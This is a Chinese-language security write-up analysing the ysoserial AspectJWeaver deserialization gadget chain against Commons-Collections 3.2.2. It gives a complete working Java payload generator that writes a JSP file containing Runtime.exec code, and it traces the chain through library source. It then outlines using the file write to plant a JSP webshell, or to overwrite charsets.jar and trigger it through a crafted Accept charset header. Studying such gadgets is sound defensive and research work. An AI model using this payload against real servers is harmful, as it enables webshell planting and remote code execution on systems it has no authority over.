0 前言

ysoserial反序列化系列学习记录之一，最近看到利用AspectJWeaver这个gadget实现webshell写入的渗透记录帖子，而这个gadget用到的Commons-Collections版本为3.2.2，高版本的CC更具实用性。除了详细解析gadget之外，还考虑了两种实际攻击场景的应用。

1 环境

jdk1.8u40

Commons-Collections：3.2.2

aspectjweaver：1.9.2

aspectjweaver这个包是Spring AOP所需要的依赖，用于实现AOP做切入点表达式、aop相关注解

pom.xml依赖如下：

<dependency>
    <groupId>org.aspectj</groupId>
    <artifactId>aspectjweaver</artifactId>
    <version>1.9.2</version>
</dependency>
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.2</version>
</dependency>

实验代码如下：

import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.charset.StandardCharsets;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class aspectjweaver {
    /*
    commons-collections:3.2.2
    aspectjweaver:1.9.2   spring AOP做切入点表达式、aop相关注解时需要
     */
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException {
        String fileName = "test.jsp";
        String tmp = "<%java.lang.Runtime.getRuntime().exec(\"calc\");%>\n";
        byte[] exp = tmp.getBytes(StandardCharsets.UTF_8);

        // 创建StoreableCachingMap对象
        Constructor<?> constructor = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class, int.class);
        constructor.setAccessible(true);
        Object map = constructor.newInstance(".", 12);

        // 把保存了文件内容的对象exp放到ConstantTransformer中，后面调用ConstantTransformer#transform(xx)时，返回exp对象
        ConstantTransformer constantTransformer = new ConstantTransformer(exp);

        // 用LazyMap和TiedMapEntry包装Transformer类，以便于将触发点扩展到hashCode、toString、equals等方法
        Map lazyMap = LazyMap.decorate((Map) map, constantTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, fileName);

        // 反序列化漏洞的启动点: HashSet
        HashSet hashSet = new HashSet(1);
        // 随便设置一个值，后面反射修改为tiedMapEntry，直接add(tiedMapEntry)会在序列化时本地触发payload
        hashSet.add("fff");

        // 获取HashSet中的HashMap对象
        Field field;
        try {
            field = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException e){
            field = HashSet.class.getDeclaredField("backingMap");  // jdk
        }
        field.setAccessible(true);
        HashMap innerMap = (HashMap) field.get(hashSet);

        // 获取HashMap中的table对象
        Field field1;
        try{
            field1 = HashMap.class.getDeclaredField("table");
        }catch (NoSuchFieldException e){
            field1 = HashMap.class.getDeclaredField("elementData");
        }
        field1.setAccessible(true);
        Object[] array = (Object[]) field1.get(innerMap);

        // 从table对象中获取索引0 或 1的对象，该对象为HashMap$Node类
        Object node = array[0];
        if(node==null){
            node = array[1];
        }

        // 从HashMap$Node类中获取key这个field，并修改为tiedMapEntry
        Field keyField = null;
        try {
            keyField = node.getClass().getDeclaredField("key");
        }catch (NoSuchFieldException e){
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }
        keyField.setAccessible(true);
        keyField.set(node, tiedMapEntry);

        // 序列化和反序列化测试
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
        objectOutputStream.writeObject(hashSet);

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("serialize.ser"));
        objectInputStream.readObject();
    }
}

执行成功后会在运行路径下写个test.jsp，下面来看看这个gadget具体是怎么触发的

2 gadget解析

2.1 高版本Commons-Collections的防御措施

在3.1或者4.0版本的Commons-Collections利用链中，最底层都要调用到InvokerTransformer类，高版本的修复方式就是在这个类的readObject和writeObject中加入安全警告，如下：

由于反序列化时，会自动调用类的readObject方法，所以当字节码传递到服务器短时，一运行InvokerTransformer#readObject方法就会触发警告，停止反序列化，必须服务器端手动开启允许反序列化的设置。

2.2 获取AspectJWeaver的调用链

这个gadget最终要写一个文件，根据Windows的文件名要求，我们写入"test.?jsp"时会出问题，如此即可获得调用链。获得调用链如下：

如果研究过低版本下Commons-Collections的HashSet调用链，肯定就会非常熟悉readObject后面这一部分。首先HashSet#readObject方法会触发map.put(e, PRESENT)

• HashSet#readObject

private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
    // 省略了不重要的部分

    // Create backing HashMap
    map = (((HashSet<?>)this) instanceof LinkedHashSet ?
           new LinkedHashMap<E,Object>(capacity, loadFactor) :
           new HashMap<E,Object>(capacity, loadFactor));

    // Read in all elements in the proper order.
    for (int i=0; i<size; i++) {
        @SuppressWarnings("unchecked")
        E e = (E) s.readObject();
        map.put(e, PRESENT);  // 触发点
    }
}

此时有个很关键的问题在于这个对象e到底是啥？回到我们的代码利用反射修改值的部分

// 用LazyMap和TiedMapEntry包装Transformer类，以便于将触发点扩展到hashCode、toString、equals等方法
Map lazyMap = LazyMap.decorate((Map) map, constantTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, fileName);

// 反序列化漏洞的启动点: HashSet
HashSet hashSet = new HashSet(1);
// 随便设置一个值，后面反射修改为tiedMapEntry，直接add(tiedMapEntry)会在序列化时本地触发payload
hashSet.add("fff");

// 获取HashSet中的HashMap对象
Field field;
try {
    field = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e){
    field = HashSet.class.getDeclaredField("backingMap");  // jdk
}
field.setAccessible(true);
HashMap innerMap = (HashMap) field.get(hashSet);

// 获取HashMap中的table对象
Field field1;
try{
    field1 = HashMap.class.getDeclaredField("table");
}catch (NoSuchFieldException e){
    field1 = HashMap.class.getDeclaredField("elementData");
}
field1.setAccessible(true);
Object[] array = (Object[]) field1.get(innerMap);

// 从table对象中获取索引0 或 1的对象，该对象为HashMap$Node类
Object node = array[0];
if(node==null){
    node = array[1];
}

// 从HashMap$Node类中获取key这个field，并修改为tiedMapEntry
Field keyField = null;
try {
    keyField = node.getClass().getDeclaredField("key");
}catch (NoSuchFieldException e){
    keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node, tiedMapEntry);

首先是lazyMap和TiedMapEntry后面再详细解析，后面部分的代码则是将"fff"替换成tiedMapEntry对象，这时需要从源码中看看HashSet如何存储值的：

• HashSet中的所有对象都保存在内部HashMap的key中，以保证唯一性

• HashMap的每个key->value键值对保存在一个命名为table的Node类数组中，每次调用HashMap#get方法时，实际时从这个数组中获取值

• 跟进看看HashMap$Node类

到这里也就很清楚了，只需要通过反射获取HashSet内部的HashMap对象，在修改HashMap$Node类中的key属性为tiedMapEntry即可，回看一下代码应该很容易理解。

2.3 gadget详解

前面已经说到，HashSet#readObject方法会调用HashMap#put方法，

• HashSet#readObject()

public class HashSet<E> extends AbstractSet<E> implements Set<E>, Cloneable, java.io.Serializable
{
    private static final Object PRESENT = new Object();
    private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
        // 省略了不重要的部分

        // Create backing HashMap
        map = (((HashSet<?>)this) instanceof LinkedHashSet ?
               new LinkedHashMap<E,Object>(capacity, loadFactor) :
               new HashMap<E,Object>(capacity, loadFactor));

        // Read in all elements in the proper order.
        for (int i=0; i<size; i++) {
            @SuppressWarnings("unchecked")
            E e = (E) s.readObject();
            map.put(e, PRESENT);  // 触发点，PRESENT=new Object(); 源代码中可见，就不截图了
        }
    }
}

由于HashSet只有一个值，所以相当于执行了HashMap.put(tiedMapEntry, new Object())，跟着这个基础，继续往下看

• HashMap#put(tiedMapEntry, new Object())

public V put(K key, V value) {
    return putVal(hash(key), key, value, false, true);
}

此时key=tiedMapEntry，value=object (将new Object()简写为object，这个值不影响啥)，明显会先执行HashMap#hash(tiedMapEntry)，跟进一下

• HashMap#hash(tiedMapEntry)

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

此时key=tiedMapEntry，代码中明显会先调用key.hashCode()方法，也就是执行了tiedMapEntry.hashCode()，此时继续跟进

• TiedMapEntry#hashCode()

public int hashCode() {
    Object value = getValue();
    return (getKey() == null ? 0 : getKey().hashCode()) ^
        (value == null ? 0 : value.hashCode()); 
}

这里会先调用TiedMapEntry#getValue()方法，需要跟进一下

• TiedMapEntry#getValue()

此时map和key分别是啥呢？这就要回看一下我们的代码和TiedMapEntry的构造方法了！

• TiedMapEntry的构造方法

public TiedMapEntry(Map map, Object key) {
    super();
    this.map = map;
    this.key = key;
}

• payload中的相应代码

Map lazyMap = LazyMap.decorate((Map) map, constantTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, fileName);

也就是说，上面的图片中，map=lazyMap，key=filename，也就是执行了lazyMap.get(filename)，因此需要跟进LazyMap#get(filename)方法。另外我们使用了LazyMap.decorate()来创建lazyMap对象，所以也要跟进这个方法看看

• LazyMap.decorate(Map, Transformer)和对应的构造方法

public static Map decorate(Map map, Transformer factory) {
    return new LazyMap(map, factory);
}
// 构造方法
protected LazyMap(Map map, Transformer factory) {
    super(map);
    if (factory == null) {
        throw new IllegalArgumentException("Factory must not be null");
    }
    this.factory = factory;
}

• LazyMap#get(filename)

public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

此时回看我们的代码关于lazyMap的部分

String fileName = "test.jsp";
String tmp = "<%java.lang.Runtime.getRuntime().exec(\"calc\");%>\n";
byte[] exp = tmp.getBytes(StandardCharsets.UTF_8);

// 创建StoreableCachingMap对象
Constructor<?> constructor = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class, int.class);
constructor.setAccessible(true);
Object map = constructor.newInstance(".", 12);

// 把保存了文件内容的对象exp放到ConstantTransformer中，后面调用ConstantTransformer#transform(xx)时，返回exp对象
ConstantTransformer constantTransformer = new ConstantTransformer(exp);

// 用LazyMap和TiedMapEntry包装Transformer类，以便于将触发点扩展到hashCode、toString、equals等方法
Map lazyMap = LazyMap.decorate((Map) map, constantTransformer);

也就是说，lazyMap.map=StoreableCachingMap，lazyMap.factory=ConstantTransformer，将这些信息带入到LazyMap.get(filename)方法，

• 1. 由于map.containsKey(filename)=false，所以进入if代码块。
• 2. 此时调用lazyMap.factory.transform(filename)，也就是ConstantTransformer.transform(filename)，跟进一下该方法

// 构造方法，使得iConstant=exp
public ConstantTransformer(Object constantToReturn) {
    super();
    iConstant = constantToReturn;
}
// transform方法，返回iConstant，也就是exp
public Object transform(Object input) {
    return iConstant;
}

执行完后，回到LazyMap.get(filename)中，此时value=exp，执行map.put(filename, exp)，实际上执行StoreableCachingMap.put(filename, exp)，继续跟进

• StoreableCachingMap.put(filename, exp)

private static final String SAME_BYTES_STRING = "IDEM";
private static final byte[] SAME_BYTES = SAME_BYTES_STRING.getBytes();
public Object put(Object key, Object value) {
    try {
        String path = null;
        byte[] valueBytes = (byte[]) value;

        if (Arrays.equals(valueBytes, SAME_BYTES)) {  // SAME_BYTES = "IDEM".getBytes();
            path = SAME_BYTES_STRING;
        } else {
            path = writeToPath((String) key, valueBytes);
        }
        Object result = super.put(key, path);
        storeMap();
        return result;
    } catch (IOException e) {
        trace.error("Error inserting in cache: key:"+key.toString() + "; value:"+value.toString(), e);
        Dump.dumpWithException(e);
    }
    return null;
}

这里key=filename，value=exp，带入代码中，更改变量名valueBytes=exp数组，然后进入if判断语句，显然"IDEM"和我们的exp不相等，进入else代码块，跟进writeToPath((String) key, valueBytes)

• StoreableCachingMap#writeToPath((String) key, valueBytes)

private String writeToPath(String key, byte[] bytes) throws IOException {
    String fullPath = folder + File.separator + key;
    FileOutputStream fos = new FileOutputStream(fullPath);
    fos.write(bytes);
    fos.flush();
    fos.close();
    return fullPath;
}

此时key=filename，bytes=恶意代码byte数组，代码比较简单，就是单纯的写文件，因为没有catch语句，所以2.2中获取调用链时给filename="test.?jsp"会触发报错，从而给出调用链。

到这里整个gadget就解析完了，主要是避开了InvokerTransformer#readObject时的安全检查，并利用lazyMap.get()方法去调用写文件的类，从而达到文件写入的能力。最后再结合ysoserial中给出的调用链回顾一下整个调用链

Gadget chain:
HashSet.readObject()
    HashMap.put()
        HashMap.hash()
            TiedMapEntry.hashCode()
                TiedMapEntry.getValue()
                    LazyMap.get()
                        SimpleCache$StorableCachingMap.put()
                            SimpleCache$StorableCachingMap.writeToPath()
                                FileOutputStream.write()

3 两种应用场景

3.1 直接写入jsp

如果目标Web应用可以写入jsp，并且能够解析，那直接写jsp Webshell即可，比较直接，就不多说了

3.2 SpringBoot采用jar包部署的情况

现在很多应用都采用了SpringBoot打包成一个jar或者war包放到服务器上部署，就算我们能够写文件，也不会被内嵌的中间件解析，这个时候应该怎么办呢？

LandGrey大佬给出了解决办法：Spring Boot Fat Jar 写文件漏洞到稳定 RCE 的探索

向服务器的jdk目录下写入jar包，由于jvm的类加载机制，并不会一次性把所有jdk中的jar包都进行加载，所以可以先写入/jre/lib/charsets.jar进行覆盖，然后给request header中加入特殊头部，此时由于给定了字符编码，会让jvm去加载charset.jar，从而触发恶意代码。恶意头部可以如下：

Accept: text/plain, */*; q=0.01
Accept: text/html;charset=GBK
...

具体细节请见大佬的博客和github仓库。

参考

Spring Boot Fat Jar 写文件漏洞到稳定 RCE 的探索

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/AspectJWeaver.java